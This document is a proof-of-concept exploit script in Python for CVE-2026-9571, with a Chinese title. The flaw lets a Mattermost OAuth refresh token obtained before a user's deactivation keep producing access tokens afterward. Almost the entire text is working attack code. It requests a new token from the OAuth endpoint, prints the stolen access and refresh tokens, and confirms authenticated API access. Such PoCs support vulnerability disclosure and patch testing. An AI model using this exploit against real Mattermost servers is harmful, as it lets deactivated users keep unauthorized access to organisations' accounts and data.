CVE-2026-9571 Mattermost OAuth刷新令牌未失效漏洞

# CVE-2026-9571 PoC - Mattermost OAuth Refresh Token Not Invalidated on Deactivation # This PoC demonstrates how a deactivated user's refresh token can still be used # to obtain new access tokens after account deactivation. import requests import json TARGET_URL = "https://mattermost.example.com" CLIENT_ID = "your_oauth_client_id" CLIENT_SECRET = "your_oauth_client_secret" REFRESH_TOKEN = "previously_obtained_refresh_token" # Token obtained before deactivation def exploit_refresh_token_after_deactivation(): """ Attempt to use a refresh token after the associated user account has been deactivated. In vulnerable versions, this should succeed despite the account being deactivated. """ token_endpoint = f"{TARGET_URL}/oauth/access_token" payload = { "grant_type": "refresh_token", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "refresh_token": REFRESH_TOKEN } headers = { "Content-Type": "application/x-www-form-urlencoded", "Accept": "application/json" } response = requests.post(token_endpoint, data=payload, headers=headers) if response.status_code == 200: token_data = response.json() print("[+] VULNERABLE: Successfully obtained new access token after deactivation!") print(f"[+] New Access Token: {token_data.get('access_token', 'N/A')}") print(f"[+] New Refresh Token: {token_data.get('refresh_token', 'N/A')}") print(f"[+] Expires In: {token_data.get('expires_in', 'N/A')} seconds") # Verify the new token is functional by making an API call access_token = token_data.get('access_token') api_headers = {"Authorization": f"Bearer {access_token}"} user_response = requests.get(f"{TARGET_URL}/api/v4/users/me", headers=api_headers) if user_response.status_code == 200: user_info = user_response.json() print(f"[+] Token is FUNCTIONAL - Authenticated as: {user_info.get('username', 'N/A')}") return True else: print(f"[-] NOT VULNERABLE: Token refresh failed with status {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-9571 - Mattermost OAuth Refresh Token Exploit") print("=" * 60) exploit_refresh_token_after_deactivation()